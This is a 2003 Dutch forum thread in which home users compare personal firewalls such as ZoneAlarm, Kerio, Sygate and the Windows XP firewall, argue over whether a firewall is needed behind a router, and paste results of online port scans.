Wat is nou de perfecte firewall voor home users?

[Meneer aard]

Na lang zoeken/ gebruiken weet ik nog steeds niet welke de beste firewall is voor thuis gebruik (voor mij adsl).

Ik heb de volgende firewall gebruikt:

ZoneAlarm: Is in mijn ogen een goede firewall maar laat niet de voledige bandbreedte toe, getest met speedtest.nl kwam ik uit op 39.6 kb. Na verwijderen probleem opgelost.

Symantec Internet Security: Is zeer goede firewall maar is meer voor bedrijven, verwijderen is ook geen eitje.

Standaard windows XP Home edition firewall: Gebruik het momenteel, redelijk.

De verbinding staat 24 uur aan en daarom is een goede firewall vereist.

Het beste vind ik nog de ingebakken Linux firewall, maar aangezien mijn pa daar geen zin in heeft op zijn computer laat ik dit achter wegen.

[Croccifixio]

Er bestaat geen perfecte firewall. Het hangt allemaal af van degene die hem instelt. Daarom: welke firewall vindt jij het meest prettig om in te stellen, zodat je de optimale beveiliging haalt?

[serhat]

Ik gebruik zoneAlarm! Hij is goed zoals je zegt! Maar laat niet de volledige brandbreedte toe! Jammergenoeg! Symantec Personal Firewall (voor home users) is niet goed! Hij beschermd je wel maar bij elke aanval zegt hij bijna Backdoor\Subseven !!! Dus daar ligt een luchtje aan! Zelfs als je pingt zegt hij dat! Ik zou ook willen weten welke de perfecte is! En btw in Zonealarm heb je ook een pop-up stopper die wel handig is!

[MrFish]

Mijn verbinding met de buitenwereld staat ook 24/7 open, en ik gebruik naar volle tenvredenheid BlackICE PC Protection. Das niet gratis, maar daar heeft de gemiddelde tweaker wel een oplossing voor

[Verwijderd]

Een goede, lichte, gratis firewall is Kerio Personal Firewall. Vind ik nog steeds de beste. Je moet wel weten hoe je firewall rules moet maken, maar als je een Linux firewall prettig vindt, is dit waarschijnlijk een goede keus.

[Verwijderd]

MrFish schreef op 07 June 2003 @ 21:28:
Mijn verbinding met de buitenwereld staat ook 24/7 open, en ik gebruik naar volle tenvredenheid BlackICE PC Protection. Das niet gratis, maar daar heeft de gemiddelde tweaker wel een oplossing voor

Dus hiermee wil jij dus zeggen dat de gemiddelde tweaker illegaal bezig is?
Ik wil niet de moraal ridder uithangen maar ik denk dat de serieuze tweaker juist wel wil betalen voor een programma die verrekte goed geprogrammeerd is.
Dergelijke programma's verdienen het gewoon om gesupport te worden door ze te kopen.
Bij de weg, mijn router heeft een firewall die alles dicht spijkerd en dat bevalt mij prima.

[RumaNoV]

Die firewall die in windows xp zit, is deze goed voor een doordeweekse gebruiker?

[danslo]

Verwijderd schreef op 07 June 2003 @ 21:39:
[...]

Dus hiermee wil jij dus zeggen dat de gemiddelde tweaker illegaal bezig is?
Ik wil niet de moraal ridder uithangen maar ik denk dat de serieuze tweaker juist wel wil betalen voor een programma die verrekte goed geprogrammeerd is.
Dergelijke programma's verdienen het gewoon om gesupport te worden door ze te kopen.
Bij de weg, mijn router heeft een firewall die alles dicht spijkerd en dat bevalt mij prima.

Die van mij dus ook Ik laat geen pings toe van de WAN kant en alleen sommige MAC adressen hebben toegang.

[lonkhuijzen]

Ik kreeg vandaag nog mijn complimentjes van iemand omdat mijn compu zo dicht zat. Hij had ff met nmap zitten checken.

Zowel op grc.com als op de symantec site ben ik volledig stealth. Dwz dat de scanners geen aanwijzing konden vinden of mijn comp uberhaupt wel bestond.

Windows Xp built-in firewall

blocked alleen ingaand verkeer trouwens. Maarja verstandig omgaan met email e.d. en je hebt nooit last van virussen trojans etc.

[Croccifixio]

Pluk schreef op 07 juni 2003 @ 21:47:
Ik kreeg vandaag nog mijn complimentjes van iemand omdat mijn compu zo dicht zat. Hij had ff met nmap zitten checken.

Zowel op grc.com als op de symantec site ben ik volledig stealth. Dwz dat de scanners geen aanwijzing konden vinden of mijn comp uberhaupt wel bestond.

Windows Xp built-in firewall

blocked alleen ingaand verkeer trouwens. Maarja verstandig omgaan met email e.d. en je hebt nooit last van virussen trojans etc.

Hoe zit het met poort 80 bijvoorbeeld? Staat die niet op 'closed' of zo?

[lonkhuijzen]

Croccifixio schreef op 07 June 2003 @ 21:49:
[...]


Hoe zit het met poort 80 bijvoorbeeld? Staat die niet op 'closed' of zo?

Nope keurig netjes stealth

[Croccifixio]

'K heb ook eff gekeken, ben hier ook helemaal 'stealth'.

Ook op Sygate, waar ik een paar maanden geleden nog op 'closed' stond voor poort 80, maar nu op 'blocked'/ 'stealth'.

[raphidae]

Meneer aard schreef op 07 June 2003 @ 21:19:
De verbinding staat 24 uur aan en daarom is een goede firewall vereist.

Wat een onzin. De enige plek waar een firewall nodig is is aan de border van een net waar ingress/egress filtering gedaan wordt.

Net alsof het installeren van een 'personal firewall' een vervanging is voor het stoppen van services die je niet nodig hebt en het niet installeren van trojans

De vraag en reacties verbazen me echt. Ik zou bijna denken dat het computern00bs.net is hiero

[Ruzor]

Pluk schreef op 07 June 2003 @ 21:47:
Ik kreeg vandaag nog mijn complimentjes van iemand omdat mijn compu zo dicht zat. Hij had ff met nmap zitten checken.

Zowel op grc.com als op de symantec site ben ik volledig stealth. Dwz dat de scanners geen aanwijzing konden vinden of mijn comp uberhaupt wel bestond.

Windows Xp built-in firewall

Hoe stel je die XP built-in firewall nou zo optimaal mogelijk (stealth) in?

[Verwijderd]

Achter een linux (RH6.0) server met PMFirewall hebben de meeste clients een zonealarm free edition. Goed insteld (lokale zone vrij gegeven) halen we op alle PC's gewoon de maximale bandbreedte zonder iets speciaals. Wat is dat bij jou de bandbreedte beperkt?
(ik heb hier max ca 155 kB/s en ZoneAlarm version 3.7)

[sharkzor]

ik adviseer de meeste mensen gewoon geen firewall te installeren (dail-up, adsl/kabel met router)
zelf heb ik ook geen firewall voor mijn basic adsl met een vigor2600 router.
waarom zou je het nodig hebben? als je windows een beetje geupdate heb en je hebt een GOEDE virusscanner die je ook vaak update is er toch niks aan de hand? hoe moet men mij dan hacken?
en voor dail-up is het helemaal belachelijk aangezien de meeste nog geen half uur online zitten en een dynamisch ip hebben...

[alt-92]

sharkzor, je staat verbaast als je zou zien hoeveel zooi ik in m'n logs aan scriptkiddie-scans en domme pogingen heb van dial-up hosts.

en geen firewall?
Je zit zelf al achter een NAT device, zou je niet iig een beetje beter je post willen verwoorden?

[lonkhuijzen]

raphidae schreef op 07 juni 2003 @ 22:02:
[...]


Wat een onzin. De enige plek waar een firewall nodig is is aan de border van een net waar ingress/egress filtering gedaan wordt.

Net alsof het installeren van een 'personal firewall' een vervanging is voor het stoppen van services die je niet nodig hebt en het niet installeren van trojans

De vraag en reacties verbazen me echt. Ik zou bijna denken dat het computern00bs.net is hiero

Een firewall voor mij heeft het nut dat als een scriptkiddie een portscan doet dat ie niet eens weet dat mijn pc aanstaat. Ik ben in het verleden 2x gehacked geweest en daarna 2x afgesloten geweest door mijn provider. Was via upnp. Dat was weliswaar nog toen ik een leuke 100mbit aansluiting met vast ip van mijn Uni had (dan ben je wat interessanter om te hacken)
Nu ben ik er ietwat lichtelijk paranoia van geworden, maar het geeft me nu ook op mijn adsletje nog een stukje zekerheid.

Ruzor schreef op 07 June 2003 @ 22:16:
[...]

Hoe stel je die XP built-in firewall nou zo optimaal mogelijk (stealth) in?

Firewall aanzetten en verder geen rules aanvinken

[Fish]

tiny/kerio personal firewall

[Hellie112]

Is die firewall die standaart in de adsl modem zit eigenlijk goed???

[Brickman]

Norton Internet Security 2002

[Nevada]

Agnitum Outpost Firewall vind ik ook een goede, omdat het een beetje op de achtergrond werkt en niet zoals, Norton blijft zeuren over niets.

[RocketKoen]

Sygate Personal Firewall Pro
in en uitgaand verkeer

[Verwijderd]

sharkzor schreef op 07 June 2003 @ 22:19:
ik adviseer de meeste mensen gewoon geen firewall te installeren (dail-up, adsl/kabel met router)
zelf heb ik ook geen firewall voor mijn basic adsl met een vigor2600 router.

Dat is dus wél een firewall In die router zit nl. een firewall die standaad zo'n beetje alles blockt.

waarom zou je het nodig hebben? als je windows een beetje geupdate heb en je hebt een GOEDE virusscanner die je ook vaak update is er toch niks aan de hand? hoe moet men mij dan hacken?

Er zijn mensen die doodleuk hun hele harddisk sharen met volledige rechten, en dan geen firewall draaien. Dan is het niet eens hacken meer te noemen om die vanaf een andere computer te benaderen. Waarom dacht je dat firewalls bestonden? Echt niet voor de grap ofzo.

en voor dail-up is het helemaal belachelijk aangezien de meeste nog geen half uur online zitten en een dynamisch ip hebben...

Een dynamisch IP heeft hier niets mee te maken. Dit IP verandert niet constant als je verbinding hebt. Enkel als je opnieuw verbinding maakt. Je zit dus wel degelijk een tijdlang met hetzelfde IP-adres, wat dus bewijst dat het helemaal niets uitmaakt, statisch of dynamisch.

[Robtimus]

Bah. Net even symantecs scan eroverheen gegooid. En hoewel ik alweer een tijdje AVG draai, kreeg ik toch de volgende melding:

WARNING! No known virus protection software found. This means your computer and data are vulnerable to virus attacks. Virus attacks can have serious consequences, including system damage and data loss.

Slecht hoor! Die herkent zeker alleen maar norton??

Zelf heb ik trouwens zone alarm bovenop de ingebouwde firewall van mijn router. Alles stealth, helaas wel pingbaar

[Godjira]

Er is idd geen enkele perfect firewall... ze zijn allemaal op den duur te hacken. Maar als je er dan toch eentje wilt... er zijn volgens mij een hele bende met topics over firewalls voor thuis. Echt belachelijk veel info valt daar te vinden... via de search... en dan goed doorlezen, maar uiteindelijk zul je er waarschijnlijk achter komen dat je toch zelf gaat testen... je komt dan vanzelf op een bij jou passende firewall.

Succes!

[Verwijderd]

IceManX schreef op 07 June 2003 @ 23:47:
Bah. Net even symantecs scan eroverheen gegooid. En hoewel ik alweer een tijdje AVG draai, kreeg ik toch de volgende melding:
[...]
Slecht hoor! Die herkent zeker alleen maar norton??

Zelf heb ik trouwens zone alarm bovenop de ingebouwde firewall van mijn router. Alles stealth, helaas wel pingbaar

Alles stealth en toch te pingen bestaat dus niet want dan ben je niet stealth.
Stealth houd juist in dat er ook op een ping geen response komt.
Cq. je systeem reageert niet meer op ICMP messages.

[Marzman]

Een firewall op een priveverbinding vind ik een beetje overdreven. Zolang je Windows alle updates heeft en je geen vreemde progjes draait valt er niks te hacken. Tuurlijk heb je mensen die hun hele c:\> schijf delen met het internet, maar zulke mensen lukt het vast ook nog wel om een keer op Ok. te klikken als de firewall vraagt of iemand op de c:\> schijf mag komen.

Zit hier gewoon achter een routertje en een gratis virusscanner en dat bevalt prima.

[Qwerty-273]

een firewal is niet noodzakkelijk. Zolang je een echte thuis gebruiker bent en dus geen services en andere fratsen hebt geinstalleerd is er dus niks om je zorgen over te maken. Zelf nooit gehacked geweest. Nooit problemen ondervonden.

en daarnaast een firewall scant alleen verkeer. En pas een hele geode scnt op inhoud van de data zelf dus of er een virus inzit of een trojan. En dat is dus ook geen taak van de firewall.. laatst zag ik, dacht kerio. of tiny... dat ze anit-virus ondersteuning hadden toegevoegd aan friewall en voor thuis gebruiker is dat heel handig..

[Sir_Killalot]

Brickman schreef op 07 June 2003 @ 22:38:
Norton Internet Security 2002

Dat is dus echt niet de beste, valt veel te weinig in te stellen en ik heb al veel PC's gezien die problemen hadden door NIS

Ikzelf gebruik nog steeds ZoneAlarm Pro 2.6.362, is misschien niet de allerbeste maar er valt veel in te stellen en bij alle online test laat hij nooit wat door

En de standaard firewall van XP alleen is niet genoeg, gevaarlijke poorten laat hij open staan en hij locked de poorten alleen en maakt ze niet 'onvindbaar' voor andere op het net, ook kan je niet zien welke programma's data versturen, bij ZoneAlarm moet je daarvoor toestemming geven zodat bijvoorbeeld een spyware programma makkelijk te ontdekken is

[ Voor 53% gewijzigd door Sir_Killalot op 08-06-2003 01:11 ]

[sharkzor]

BackSlash32 schreef op 07 June 2003 @ 22:29:
sharkzor, je staat verbaast als je zou zien hoeveel zooi ik in m'n logs aan scriptkiddie-scans en domme pogingen heb van dial-up hosts.

en geen firewall?
Je zit zelf al achter een NAT device, zou je niet iig een beetje beter je post willen verwoorden?

ja dus? dan doen ze scans... en dan nog?
als je gewoon zorgt dat je geen shares heb openstaan enzo, dan kunnen ze toch niks? mogen ze van mij een end weg scannen.
en mijn router blocked idd al standaart elke inkomende poort. oftewel, hier kunnen ze niks. alleen misschien met een proggie ala subseven enzo, maar daar heb ik dus een virusscanner voor.
wat moet ik dan nog met een firewall? brengt meer ellende dan dat het goed doet.

Verwijderd schreef op 07 June 2003 @ 22:43:
[...]

Een dynamisch IP heeft hier niets mee te maken. Dit IP verandert niet constant als je verbinding hebt. Enkel als je opnieuw verbinding maakt. Je zit dus wel degelijk een tijdlang met hetzelfde IP-adres, wat dus bewijst dat het helemaal niets uitmaakt, statisch of dynamisch.

dat weet ik ook wel dat hij dat verandert bij het inbellen. maar de meesten die ik ken blijven er tekort op zodat je toch niks kan.
moet je eerst ip van die persoon vinden, dan gaan lopen scannen en weet ik veel wat nogmeer. kost tijd en dan ben je allang gedisconnect.
of je moet zo dom zijn alles wagenwijd open te hebben staan en geen virusscanner draait....

[ Voor 33% gewijzigd door sharkzor op 08-06-2003 01:04 ]

[lonkhuijzen]

Sir_Killalot schreef op 08 juni 2003 @ 00:54:
[...]


En de standaard firewall van XP alleen is niet genoeg, gevaarlijke poorten laat hij open staan en hij locked de poorten alleen en maakt ze niet 'onvindbaar' voor andere op het net

Leg mij dan eens uit hoe het komt dat als ik door vrienden grc.com en symantec gescanned word dat ik dan wel stealth ben?

Zijn die scanners dan gewoon brak?

[Sir_Killalot]

Pluk schreef op 08 juni 2003 @ 01:07:
[...]


Leg mij dan eens uit hoe het komt dat als ik door vrienden grc.com en symantec gescanned word dat ik dan wel stealth ben?

Zijn die scanners dan gewoon brak?

Lijkt me sterk want ik heb vele net geinstalleerde WinXP bakken getest op die site en ze waren altijd blocked of open maar nooit stealth

(kan misschien zijn dat er 1 of 2 stealth waren maar hij liet er ook een paar open staan wat dus een ZoneAlarm/Sygate al nodig maakt)

[lonkhuijzen]

Hmmm net even gekeken of het zou liggen aan dat ik mijn compu lekker heb getweaked.
Maar de ongetweakte pc van mijn vriendin is ook stealth.

http://nanoprobe.grc.com is zijn nieuwste scanner alleen is die nu ff down helaas.
Die checkt de eerste 1055 (zoiets) poorten .

Geen idee wat het verschil dan is tussen onze windows..
winXPpro sp1a hier Met firewall aan


Mocht de TS nu geen XP firewall willen dan zou ik zeggen Kerio.
Dit vanwege de checksum van allowed programmas.

Bv msn, zou er nu een trojan op je compu staan die zich msn.exe noemen dan heeft kerio dat in de gaten omdat de checksum niet gelijk is met de toegestane msn.
Je krijgt dan een popup met de melding van wil je dat? met een waarschuwing erbij.

[ Voor 33% gewijzigd door lonkhuijzen op 08-06-2003 02:04 ]

[Sir_Killalot]

Pluk schreef op 08 June 2003 @ 02:00:
Hmmm net even gekeken of het zou liggen aan dat ik mijn compu lekker heb getweaked.
Maar de ongetweakte pc van mijn vriendin is ook stealth.

http://nanoprobe.grc.com is zijn nieuwste scanner alleen is die nu ff down helaas.
Die checkt de eerste 1055 (zoiets) poorten .

Geen idee wat het verschil dan is tussen onze windows..
winXPpro sp1a hier Met firewall aan

Ik zat zo ff te denken maar op de pc's die ik getest had stond de XP firewall niet aan dus daarom die open poorten enzo

foutje

(http://scan.sygate.com/ das ook een goeie scan site )

[lonkhuijzen]

Hahaha ik zat al te denken joh waarom mijn xp zo speciaal is dan
Doe voor de gein ff erbij blijkt het nog waar te zijn ook.

Nouja kan gebeuren

scan.sygate.com is idd wel een goeie, doet het erg grondig denk ik vanwege de 45 minuten voor een tcp scan.

[Sir_Killalot]

Pluk schreef op 08 June 2003 @ 02:08:
Hahaha ik zat al te denken joh waarom mijn xp zo speciaal is dan
Doe voor de gein ff erbij blijkt het nog waar te zijn ook.

Nouja kan gebeuren

scan.sygate.com is idd wel een goeie, doet het erg grondig denk ik vanwege de 45 minuten voor een tcp scan.

Die 45 minuten is erg overdreven, binnen 10/15 minuten was tie klaar

[Verwijderd]

RIKZ schreef op 08 June 2003 @ 00:45:
een firewal is niet noodzakkelijk. Zolang je een echte thuis gebruiker bent en dus geen services en andere fratsen hebt geinstalleerd is er dus niks om je zorgen over te maken. Zelf nooit gehacked geweest. Nooit problemen ondervonden.

en daarnaast een firewall scant alleen verkeer. En pas een hele geode scnt op inhoud van de data zelf dus of er een virus inzit of een trojan. En dat is dus ook geen taak van de firewall.. laatst zag ik, dacht kerio. of tiny... dat ze anit-virus ondersteuning hadden toegevoegd aan friewall en voor thuis gebruiker is dat heel handig..

In een testopstelling was mijn linux server zonder firewall binnen een week volledig op de kop gezet. Er viel helemaal niets te halen. We gebruiken de server alleen voor temp files, die er in die periode niet eens op stonden. Lol, he... Dus toch maar weer snel een herinstall gedaan met firewall. Sinds bijna 3 jaar verder alleen een herinstall gedaan vanwege een kapotte schijf. Langste uptime ca 170 dagen.... (herstart vanwege stroomstoring.), nu al weer 124 dagen.

Op de clients toch maar Zonealarm. Gewoon om te verhinderen dat programma's ongevraagd naar buiten gaan: ongevraagde updates, besmette programma's (nog niet gebeurd), trojans (keyloggers zijn hot op dit moment)...
Bij geen enkele pc hier (>5) merk ik problemen als ZA erop staat.
Eigenlijk vind ik het een non-issue discussie... Je zet er wel of geen firewall op. Beide keuzes zijn te verdedigen... zolang iedereen maar zijn eigen verantwoording neemt.......
Terug naar het topic: probeer eens uit te zoeken waarom ZA de verbinding vertraagt. Immers zoals eerder opgemerkt geen last hier en in mijn omgeving hoor ik het ook niet.
Tip: kijk eens in de search met "zonealarm trage verbinding"
http://search.gathering.t...5D=&data%5Bsearch%5D=Zoek

[Robtimus]

Verwijderd schreef op 08 juni 2003 @ 00:07:
[...]


Alles stealth en toch te pingen bestaat dus niet want dan ben je niet stealth.
Stealth houd juist in dat er ook op een ping geen response komt.
Cq. je systeem reageert niet meer op ICMP messages.

De poorten zelf zijn stealth. Het hele systeem dus helaas net niet:

Ping Reply: RECEIVED (FAILED) ? Your system REPLIED to our Ping (ICMP Echo) requests, making it visible on the Internet. Most personal firewalls can be configured to block, drop, and ignore such ping requests in order to better hide systems from hackers. This is highly recommended since "Ping" is among the oldest and most common methods used to locate systems prior to further exploitation.

Gaan ze echter na een ping een portscan uitvoeren vinden ze nix.

[Zap]

Och, zolang je de boel goed configureert (lees: geen onnodige services zoals netbios over je internetverbinding draait) is er niets aan de hand en is een firewall niet echt nodig. Evt. een simpele inbound firewall of NAT-router als je daar behoefte aan hebt (de ingebouwde XP-firewall voldoet al), maar dan niet zo'n speelgoedje dat om de minuut bij ieder verdwaald TCP of UDP pakketje loopt te zeuren dat het een "hacker attack" is.. (paranoia gedoe ) Een outbound firewall heb ik niet nodig, ik weet wat ik doe en gebruik alleen programma's die ik vertrouw (kwestie van structureel en zorgvuldig te werk gaan, zorgen voor laatste patches etc.). Heb ook geen virusscanner, die doen meer kwaad dan goed imho (lees: geheugen en CPU-cycles opslurpen).

[ Voor 13% gewijzigd door Zap op 08-06-2003 14:18 ]

[Fish]

mhoaw .. ik ben toch wel blij met die virusscanner hoor die grijpt af en toe wel es wat als ik aan het browsen ben.

als je dus op zo'n plek aankomt start ie dus een applicatie/applet die je niet vertrouwd die niet moet starten

zelf geef je aan precies te weten wat je doet, maar als je dat mischien niet weet/doet/wil dan doen is zo'n firewall wel prettig hoor.

[ Voor 3% gewijzigd door Fish op 08-06-2003 15:20 ]

[Meneer aard]

Sir_Killalot schreef op 08 June 2003 @ 02:03:
[...]


Ik zat zo ff te denken maar op de pc's die ik getest had stond de XP firewall niet aan dus daarom die open poorten enzo

foutje

(http://scan.sygate.com/ das ook een goeie scan site )

ik heb met die site mijn pc proberen te scannen, maar hij kon niks vinden. Op dit moment heb ik de laatste zonealarm geinstalleerd bevalt perfect alleen zoals gezegd niet de volledige bandbreedte.

[Scorpion1984]

Kerio personall firewall is heel goed, alleen vrij veel werk om hem in te stellen.

[ Voor 24% gewijzigd door Scorpion1984 op 08-06-2003 16:04 ]

[michelc85]

Ik heb altijd al Norton personal firewall gehad,en heb er nooit problemen mee gehad,gebruik trouwens nog steeds de 2002 editie.

Die je trouwens nog gewoon kan updaten.

[Zap]

fish schreef op 08 juni 2003 @ 15:19:
mhoaw .. ik ben toch wel blij met die virusscanner hoor die grijpt af en toe wel es wat als ik aan het browsen ben.

als je dus op zo'n plek aankomt start ie dus een applicatie/applet die je niet vertrouwd die niet moet starten

Tsja, en zover moet je 't dus eigenlijk al niet laten komen.. Een firewall is voornamelijk gevolgenbestrijding, en naar mijn mening kun je zoiets allereerst beter aanpakken door het bij de oorzaak aan te pakken: je OS en browser goed dichttimmeren (dmv. juiste instellingen, en evt. security-patches)

zelf geef je aan precies te weten wat je doet, maar als je dat mischien niet weet/doet/wil dan doen is zo'n firewall wel prettig hoor.

Daar heb je volkomen gelijk in, ik heb 't dan ook voornamelijk over mijn eigen situatie; voor personen die zich minder (willen) bezighouden met dat soort zaken kan een firewall en/of virusscanner een oplossing zijn. Ik probeer echter wel de mensen bij wie ik weer eens een door virussen of spyware omver geholpen systeem moet herstellen te stimuleren om selectief te werk te gaan bij het installeren van software en het openen van bijvoorbeeld e-mail. Dit bespaart gewoon een hoop werk.

Ik ben van dus van mening dat de meerderheid (lees: vrijwel alle) problemen ontstaan door virussen, trojans, veiligheidslekken en/of spyware voorkomen kunnen worden door zorgvuldiger om te gaan met software en dat het niet de juiste manier is om volledig afhankelijk te zijn van een virusscanner/firewall wat veiligheid betreft. Het kan imho enkel een aanvullende bescherming bieden.

Zelf draai ik een NAT-router, welke vanzelfsprekend al een zekere firewall-functionaliteit biedt; het is mooi meegenomen dat zowel inkomende packets op gesloten poorten als echo requests gedropped worden, maar ik ben er wat security betreft niet afhankelijk van.

[ Voor 9% gewijzigd door Zap op 08-06-2003 16:31 ]

[Verwijderd]

Meneer aard schreef op 08 June 2003 @ 15:56:
[...]


..... Op dit moment heb ik de laatste zonealarm geinstalleerd bevalt perfect alleen zoals gezegd niet de volledige bandbreedte.

wat is dat toch met die bandbreedte problemen met ZA? Kan iemand het toelichten waarom hij/zij denkt waardoor hoe die ontstaan?
(ik installeer hier ZA met default instellingen en pas alleen de lokale zone aan en zet de schuif in het midden, niets bijzonders dus).

[ Voor 9% gewijzigd door Verwijderd op 08-06-2003 16:29 ]

[Verwijderd]

Ik gebruik Sygate Personal Firewall. Eerst gebruikte ik ook Zonealarm, dat voldeed best want alles was altijd dicht. De problemen ontstonden toen Emule geïnstalleerd werd. MSN verloor continue zijn verbinding wat zeer vervelend was.

Toen ben ik overgestapt naar Sygate. Er zijn nu geen problemen meer, wat wel handig is van Sygate is dat je per programma ook nog kunt instellen welke TCP/UDP poorten in en uitgaand toegestaan mogen worden.

[Meneer aard]

Verwijderd schreef op 08 June 2003 @ 16:28:
[...]
wat is dat toch met die bandbreedte problemen met ZA? Kan iemand het toelichten waarom hij/zij denkt waardoor hoe die ontstaan?
(ik installeer hier ZA met default instellingen en pas alleen de lokale zone aan en zet de schuif in het midden, niets bijzonders dus).

toen ik voor het eerst deze firewall erop zette kwam ie niet hoog met de speedtest. Na verwijderen voledig. Maar ik vind dit een prachtige firewall.

[zetje01]

Ik gebruik Atguard. Die gebruikt geen resources, is klein, kost geen bandbreedte en is uitgebreid configureerbaar.
Alleen dat configureren duurt wel eventjes.

[Verwijderd]

Meneer aard schreef op 08 June 2003 @ 16:49:
[...]
toen ik voor het eerst deze firewall erop zette kwam ie niet hoog met de speedtest. Na verwijderen voledig. Maar ik vind dit een prachtige firewall.

prachtige firewall... eens. Maar snappen doe ik het probleem nog steeds niet (geen hier namelijk).

[Scorpion1984]

zetje01 schreef op 08 June 2003 @ 16:59:
Ik gebruik Atguard. Die gebruikt geen resources, is klein, kost geen bandbreedte en is uitgebreid configureerbaar.
Alleen dat configureren duurt wel eventjes.

Een firewall die bandbreedte zou kosten ? Nooit van gehoord, maar die zonealarm vindt ik persoonlijk kei slecht, de ouwe releases waren nog wel goed, maar die nieuwe is meer userinterface dan een goeie firewall.

[Sick Nick]

gewoon de ingebakken firewall van je router, niemand komt je pc's meer binnen tenzij je het zelf open zet. Je hoeft geen extra progs meer te draaien die alleen maar gezeik kunnen geven.
Enige wat ie niet tegen houd is verkeer van binnenuit dus als jij geen goede anti-virus scanner draait en je hebt een trojan die een verbinding naar buiten maakt dan ben je wel dus lul. Of te wel, gewoon goede anti virus draaien.

[Scorpion1984]

Sick Nick schreef op 08 juni 2003 @ 17:07:
gewoon de ingebakken firewall van je router, niemand komt je pc's meer binnen tenzij je het zelf open zet. Je hoeft geen extra progs meer te draaien die alleen maar gezeik kunnen geven.
Enige wat ie niet tegen houd is verkeer van binnenuit dus als jij geen goede anti-virus scanner draait en je hebt een trojan die een verbinding naar buiten maakt dan ben je wel dus lul. Of te wel, gewoon goede anti virus draaien.

Niet iedereen heeft een hardwarematige router

[lasermen]

Ik heb de vigor 2200e router en gebruik de ingebouwde router en heb net effe de sygate test gedaan en hieronder me resultaten:

quick scan: You are not fully protected:
We have detected that some of our probes connected with your computer.

stealth scan:You are not fully protected:
We have detected that some of our probes connected with your computer.

trojan scan: You have blocked all of our probes! We still recommend running this test both with
and without Sygate Personal Firewall enabled... so turn it off and try the test again.

TCP scan: You are not fully protected:
We have detected that some of our probes connected with your computer.

UDP scan: You have blocked all of our probes! We still recommend running this test both with
and without Sygate Personal Firewall enabled... so turn it off and try the test again.

en de norton test: die pakte het adres wat ik heb op het netwerk dat zorgt ook vaak voor misleiding van trojans omdat ze zeggen dat ze motten connecten naar een ander ip dan de router zelf heeft.
Scannen op netwerkkwetsbaarheid
Veilig Details tonen
Details verbergen

Omschrijving scan:
Tijdens de scan wordt onderzocht of het mogelijk is een verbinding te maken met uw computer of toegang tot de computer te verkrijgen, om zo te controleren of onbekende of ongeautoriseerde internetcommunicatie toegestaan is.

Scanresultaten:
Tijdens de scan is geen verbinding gemaakt met uw computer. Uw computer bevat een firewall of een andere beveiligingsmaatregel die de verbinding niet toestond. Dit betekent dat uw computer is beveiligd tegen internetaanvallen om toegang te verkrijgen tot uw computer.


Internetverbindingen met de computer vinden plaats via poorten. Zie voor meer informatie over de status van de poorten op uw computer: Poortstatus netwerkkwetsbaarheid


NetBIOS-beschikbaarheidscan
Veilig Details tonen
Details verbergen

Omschrijving scan:
Tijdens de scan wordt onderzocht of het mogelijk is een verbinding te maken met uw computer of toegang tot gegevens in de computer te verkrijgen.

Scanresultaten:
Het is tijdens de scan niet gelukt toegang te krijgen tot de gegevens van uw computer. Dit betekent echter niet dat de computer geheel veilig is. Een correct geconfigureerde persoonlijke firewall verhindert dat de gegevens van uw computer zichtbaar zijn voor hackers.

Scannen op actieve Trojaanse paarden
Veilig Details tonen
Details verbergen

Omschrijving scan:
Tijdens de scan wordt gekeken of het mogelijk is een verbinding te maken met uw computer of toegang tot de computer te verkrijgen op dezelfde manieren die Trojaanse paarden gebruiken.

Scanresultaten:
Tijdens de scan is geen verbinding gemaakt met uw computer. Dit betekent echter niet dat de computer geheel veilig is. Scan uw computer regelmatig met een antivirusprogramma en installeer een persoonlijke firewall om ongewenste toegang tot uw computer via internet tegen te gaan.

Trojaanse paarden maken toegang tot uw computer mogelijk via poorten. Zie voor meer informatie over de status van de poorten op uw computer: Poortstatus actieve Trojaanse paarden


Browserprivacy-scan
Risico! Details tonen
Details verbergen

Omschrijving scan:
Deze scan controleert of de browser informatie over de laatst bezochte site doorgeeft aan andere websites.

Scanresultaten:
U loopt het risico dat uw browsergeschiedenis openbaar wordt gemaakt aan de andere websites die u bezoekt.

U lost dit probleem als volgt op:

Installeer een persoonlijke firewall die de overdracht van persoonlijke gegevens blokkeert.
Als u een persoonlijke firewall op uw computer hebt geïnstalleerd, kan het zijn dat deze niet juist is geconfigureerd, waardoor deze informatie niet wordt beschermd

met deze test draai ik alleen puur windows 2000 pro en wat internet explore dingetjes en alles gaat via de router.
Kan je zelf zien of die router wat voor je is als enige firewall beveiliging ik ben er zelf erg tevreden mee.
Ik hoop dat jullie wat kunnen met deze info maar iedergeval zijn me pcs goed genoeg beveiligd tegen trojans en ander internet gespuis

[Sir_Killalot]

Meneer aard schreef op 08 June 2003 @ 16:49:
[...]


toen ik voor het eerst deze firewall erop zette kwam ie niet hoog met de speedtest. Na verwijderen voledig. Maar ik vind dit een prachtige firewall.

Lijkt me toch sterk dat dat door ZA komt (of elke andere firewall) want ik heb op meerdere PC's nog nooit problemen gehad met ZA Pro 2.6

Eerst had ik ADSL Basic @ 53 KB, dus normale snelheid, en nu Chello @ 170/180 KB dus ook de max snelheid

Welke versie gebruik je ?

[zetje01]

Scorpion1984 schreef op 08 June 2003 @ 17:05:
[...]

Een firewall die bandbreedte zou kosten ? Nooit van gehoord, maar die zonealarm vindt ik persoonlijk kei slecht, de ouwe releases waren nog wel goed, maar die nieuwe is meer userinterface dan een goeie firewall.

Wel even de hele thread lezen voor je reageert aub. Hier beweert namelijk een aantal mensen dat zonealarm ten koste gaat van hun bandbreedte...

[Wildfire]

Meneer aard schreef op 07 June 2003 @ 21:19:

[..]

ZoneAlarm: Is in mijn ogen een goede firewall maar laat niet de voledige bandbreedte toe, getest met speedtest.nl kwam ik uit op 39.6 kb. Na verwijderen probleem opgelost.

[..]

Wat een onzin. Als dat echt zo was zou niemand ZoneAlarm gebruiken. Ik heb zelf al diverse incarnaties van ZoneAlarm gebruikt en met allen kon ik gewoon de max van mijn verbinding, 485 kilobyte/sec, halen.

[Sir_Killalot]

Wildfire schreef op 08 June 2003 @ 19:08:
[...]


Wat een onzin. Als dat echt zo was zou niemand ZoneAlarm gebruiken. Ik heb zelf al diverse incarnaties van ZoneAlarm gebruikt en met allen kon ik gewoon de max van mijn verbinding, 485 kilobyte/sec, halen.

Daarom, niks mis met ZA (Pro) dus

(behalve met 3.x en verder )

[Robtimus]

Sir_Killalot schreef op 08 June 2003 @ 19:12:
[...]


Daarom, niks mis met ZA (Pro) dus

(behalve met 3.x en verder )

Ikzelf heb ZA 3.1.395 (gratis versie), en gewoon snelheden tot zeker 300kB/s

[Sir_Killalot]

